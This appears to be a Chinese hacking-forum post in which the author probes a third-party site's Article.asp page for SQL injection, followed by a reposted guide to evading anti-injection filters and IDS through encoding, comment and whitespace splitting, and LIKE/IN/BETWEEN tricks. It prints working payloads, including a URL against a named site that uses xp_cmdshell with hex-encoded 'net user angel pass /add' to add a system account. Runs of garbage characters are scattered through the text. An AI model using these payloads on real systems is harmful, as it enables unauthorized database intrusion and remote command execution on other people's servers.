路过这个网站,检测了一下.
# Y% l+ {3 m4 v* b; U! `3 r( uhttp://www.xxx.cn/Article.asp?ID=117 and 1=1
9 t u7 V u1 I. x# W2 W5 {: E6 I/ v直接返回主页, C ], i( T" @3 _4 u& ]
http://www.xxx.cn/Article.asp?ID=117 or 1=1
2 ]" d& `0 N$ y9 P K直接返回主页; r5 J* z$ n- f5 n* w
http://www.xxx.cn/Article.asp?ID=117 or2 s5 g( C" a( t( l
没有返回主页 没有过滤or) l9 i; f# ?; u% [# D0 d
http://www.xxx.cn/Article.asp?ID=117 and
8 u( R% C4 R! T直接返回主页 看来过滤了and
$ H" [' ^; Q+ h: x' v6 B/ y0 W2 @http://www.xxx.cn/Article.asp?ID=117 or 1
# e; H# T3 c- E, a3 ]没有返回主页 即没有过滤or 也没有过滤19 e4 r$ e3 d3 z/ r
http://www.xxx.cn/Article.asp?ID=117 or 1=1. n; Y1 Z9 t' t! C+ _3 O
直接返回主页 很明显过滤了等号
, V0 S! V9 {" n: ?9 }- cor的特性是与and相反的.
/ W, Y1 [1 D# u/ N" _# @3 D$ Kor 1=1 爆错 或与原页面不同
- t+ Z5 J2 V: C `& ?or 1=2 原页面相同- f7 Z' |) E0 F4 e0 j. r. ^2 [: p; e
这样就是一个注入点: n2 o! R8 L/ G6 ?% n
但他过滤了=号 我就用><号代替=号吧!% c/ U+ }# J% @
or 1<2 很明显是正确的,所以应该与原页面不同
0 ]5 ?, J9 D* u3 a$ r( ror 1>2 很明显是错误的,所以应该与原页面相同
% J% K/ C& k5 j+ b+ p然后看看有没有过滤其他的查询语句,比如select.6 w6 |$ m) b) Z. z8 l9 B! g% p
http://www.xxx.cn/Article.asp?ID=117 select9 l2 A3 }: ^5 v6 \3 q
直接返回主页
. b# G( o. g5 J6 J( [; e又迷茫了..
& a& t: W6 _2 p- @1 @
0 S! H9 U) ~! ^0 `
5 i3 K5 J% o( f8 x* Q) {5 ^cookies注入.和以下的方法全都试过了,都失败了.还有什么方法可以饶过吗3 ?4 V0 ? W1 }$ k% J2 h# N
这个系统我以为是my动力,后台却是这样的http://www.xxx.cn/admin.asp(应该不是假够台吧)
4 ^% g' w [, O6 Y================================================
2 Q8 i: e3 j% o7 ~1 e以下是转贴:
. E& N$ Q; ^( O7 }9 v, J5 K; p. K: H2 {! Z9 B% O- }
突然想我们是否可以用什么方法绕过SQL注入的限制呢?到网上考察了一下,提到的方法大多都是针对AND与“’”号和“=”号过滤的突破,虽然有点进步的地方,但还是有一些关键字没有绕过,由于我不常入侵网站所以也不敢对上述过滤的效果进行评论,但是可以肯定的是,效果不会很好……
$ r5 X+ m i7 J6 A2 \经过我的收集,大部分的防注入程序都过滤了以下关键字:
4 S, G; U/ l: u' K( B4 q0 vand | select | update | chr | delete | %20from | ; | insert | mid | master. | set | = 4 F+ ] ^2 K6 q0 t7 g# d
而这里最难处理的就是select这个关键字了,那么我们怎样来突破他们呢?问题虽未完全解决,但还是说出来与大家分享一下,希望能抛砖引玉。 * R* c/ B$ P7 F3 Q
对于关键字的过滤,以下是我收集的以及我个人的一些想法。 k% Y Z' B" m: M5 b
1、运用编码技术绕过
6 g$ f- _$ o! ?# ~$ ?如URLEncode编码,ASCII编码绕过。例如or 1=1即
9 k! l) N, x4 s7 m* v! A- v%6f%72%20%31%3d%31,而Test也可以为CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)。 ) s" K, E( \7 ~7 _
8 b/ ^+ R- U" S
2、通过空格绕过
/ Z/ Y1 k2 V# n9 E如两个空格代替一个空格,用Tab代替空格等,或者删除所有空格,如 3 r' ]! d& h% l! n4 c5 B% m
or’ swords’ =‘swords’ 6 }+ P& ?# j' I, W1 L( g
,由于mssql的松散性,我们可以把or ’swords’ 之间的空格去掉,并不影响运行。
3 d3 G/ h/ L$ X8 d3、运用字符串判断代替 8 j# ]5 j2 k4 b6 H3 m, F) {
用经典的or 1=1判断绕过,如
( n8 r6 C" g( \( [# _) tor ’swords’ =’swords’
" o8 r* X. T- z- n% k" |, }9 S,这个方法就是网上在讨论的。
- v/ f6 R" c( m) V: y8 P4、通过类型转换修饰符N绕过 ) K" \9 e3 J3 v" q7 D% N/ p$ ]
可以说这是一个不错的想法,他除了能在某种程度上绕过限制,而且还有别的作用,大家自己好好想想吧。关于利用,如or ’swords’ = N’ swords’ ,大写的N告诉mssql server 字符串作为nvarchar类型,它起到类型转换的作用,并不影响注射语句本身,但是可以避过基于知识的模式匹配IDS。
# P0 |5 I, ?1 y8 T% [+ s2 ]; J5、通过+号拆解字符串绕过
& a# w' E6 P& S效果值得考证,但毕竟是一种方法。如 " w. J0 \% L _% z5 E" c. G0 H
or ’swords’ =‘sw’ +’ ords’ ;EXEC(‘IN’ +’ SERT INTO ’+’ …..’ ) 1 A, } U3 Z1 r* j* d2 k
3 Q- O& m9 W& u/ i+ B5 u6、通过LIKE绕过
3 R* y. ?3 ]0 `9 @以前怎么就没想到呢?如or , k8 M- U0 S& S/ z* c! G
’swords’ LIKE ’sw’
" P% a* H1 q' N- U0 G$ b!!!显然可以很轻松的绕过
' m! G9 g5 N4 h“=”“>”
" z9 a" b" j1 W3 n9 V的限制……
1 z# G8 ?! P; ]: x4 S; C7、通过IN绕过
$ K6 Y( e. n+ w; i) @7 ]; {与上面的LIKE的思路差不多,如 W% ?9 |' W! A
or ’swords’ IN (’swords’)
( T. W# ]- w1 s" _$ k6 A1 a* T. _& O; y) T0 b# r3 `- d. K/ ^. z
8、通过BETWEEN绕过
" |2 O( U1 f; _- `, y如 , b; q' @: C0 `6 y
or ’swords’ BETWEEN ’rw’ AND ’tw’
( X$ b, e( b( ?& V7 L6 M; x- P. q
* H, J& ?/ v) y% T9、通过>或者<绕过
8 K7 T3 D. T/ `& T) |6 [or ’swords’ > ’sw’
6 U. |8 ^! W3 k/ N, B( dor ’swords’ < ’tw’
1 v* D. m! O( Q0 I6 H, xor 1<3
0 W. A B- \$ Z9 t% x…… - d( t( L6 { P. H+ F1 e
10、运用注释语句绕过
. b+ [/ u) k" U( f# c) \用/**/代替空格,如: ) H: K2 l2 V0 c- W0 l" l
UNION /**/ Select /**/user,pwd,from tbluser
5 c/ q' ~; i1 A# \3 A
. u; s3 v( |! h2 |9 v5 w用/**/分割敏感词,如: - n& H* H! \/ S& e. `3 h; K
U/**/ NION /**/ SE/**/ LECT /**/user,pwd from tbluser
4 k0 Q! }, L! x0 s" R$ i3 B' U$ U& A# a
11、用HEX绕过,一般的IDS都无法检测出来
5 x' i7 ~. R2 M& J3 u: H0x730079007300610064006D0069006E00 =hex(sysadmin)
V1 M1 T: l i2 m! w$ r% G0x640062005F006F0077006E0065007200 =hex(db_owner) 4 I5 I( U) i. i4 O* |* h
另外,关于通用点的过滤方法,我们可以考虑采用赋值的方法,例如先声明一个变量a,然后把我们的指令赋值给a,然后调用变量a最终执行我们输入的命令。变量a可以是任何命令。如下:
' V/ [8 e0 p o/ Y" ^, ]7 h declare @a sysname 8 s& e9 J4 Y; |7 z* ?
select @a= - E' F7 X5 a; }% R' A
exec master.dbo.xp_cmdshell @a
, ?) J' x! t4 l效果
2 U; ]9 l2 m8 m4 ^) n, H* zhttp://www.ilikeplmm.com/show.asp?id=1;declare%20@a% [email=20sysname%20select%20@a=0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400%20exec%20master.dbo.xp_cmdshell%20@a]20sysname%20select%20@a=0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400%20exec%20master.dbo.xp_cmdshell%20@a[/email];--
% H& \; ?3 ^/ k; s& r2 w
2 ~1 }9 j* u; |9 \6 w6 l其中的 8 I4 b/ l( |: g6 w
0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400 , ^ J. A0 g1 o5 n8 V: H: e
就是
7 [3 I/ `- n: h3 p; L“net user angel pass /add”
4 X( J. X8 L+ W/ [; q" l+ D. C* V" t) G' g1 S, ?1 p0 }
一直以来都以为只有空格,tab键和注释符/**/可以用来切割sql关键字,段时间在邪八看了风迅cms注入漏洞那篇帖子,才知道原来回车也可以用来作为分割符(以前竟然没有想到,真是失败)。回车的ascii码是chr(13)&chr(10),至于为什么要两个连在一起,这个我也不知道。转换成url编码形式是%0d%0a,于是就可以用%0d%0a代替空格pass一些过滤空格的检查了。5 ^3 o" q/ i) q7 A3 ]+ t
引申一下,只用%0d能正常执行语句吗?只用%0a呢?测试证明,用任意一种分割在mssql、mysql和access里面都是可以的。
' ~: V% R2 _) G8 E' V& A另外,关于mssql的多语句问题。我以前一直以为必须用分号作为语句的结尾,后来发现,完全不是那样。类似, I! W. N4 o/ a' c( U" t
Copy code1 T; c; [' s- J. o8 V; M( ]& p4 ^
select * from table exec xp_cmdshell'xxxxxxxxxx'
4 _; z* E: v0 X& }8 N" k1 i. ?8 j ~% ~* ]
+ w$ M6 y: f" i4 i" B! x; Iselect * from table/**/exec xp_cmdshell'xxxxxxxxxx'! w$ X3 J& X& B# z9 M0 \7 i) H C6 d' Q
* f/ T2 v! L' R
" C" V; C3 K7 w0 lselect * from table|---tab---|exec xp_cmdshell'xxxxxxxxxx'
6 H2 d+ u8 R3 v8 U9 ?" J7 _& F8 s$ P
4 a4 x+ ]; S9 F1 B* I6 ]- k( K0 C. _3 s2 Z
select * from table|---enter---|exec xp_cmdshell'xxxxxxxxxx': b5 E- o8 B" r
! ^3 ~4 l- [7 r
的语句都是可以正常执行的。而我以前竟然一直不知道!不过这个貌似跟连接数据库驱动有关系,odbc可以正常执行,sqloledb的话就会报错。有兴趣的继续研究吧?
2 N. D8 l7 e2 m( S: W# g& `: l4 x- m& s: v4 V8 [
这样,以后遇到带空格过滤关键字的拦截程序,又可以发挥发挥了
6 m) v1 }& k: }- ?& ~可能大家早就知道了,不管怎么说,发在这里吧!) ]5 J4 N/ W( w2 y7 \" D
# _# j1 d3 P. p" R7 S; d' p9 b
最近想起可能还有些ascii码可以用来在sql语句中代替空格,于是写个脚本测试了一下,结果在所有128个低位ascii字符中,chr(12)也可以在access里用,不过貌似chr(12)不能出现在and、or之类的关键词附近,原因不清楚。mysql中比access多一个chr(11)可以。至于mssql,挖日,直接从1到32的ascii码换成字符后都可以正常使用。
& p* J0 Q9 z" i3 |1 O5 q; m# H0 h& ]
( K* J; Z) I- q, L
# y o) V8 B0 ~% f; I对于中间应该出现空格的地方,用()进行替换,不过,对于很复杂的SQL语句就不太好用了。上面说到的是字符型的,如果是数值型,可以在id=1后加一个括号,不过这个我没有测试,
( J- I/ I) K, m比如:jmdcw.asp?id=(1)and(select.....),应该是可行的吧? 7 {4 M1 L. M7 Z2 h6 q" \" O9 u
* K9 T3 R7 G5 A5 I |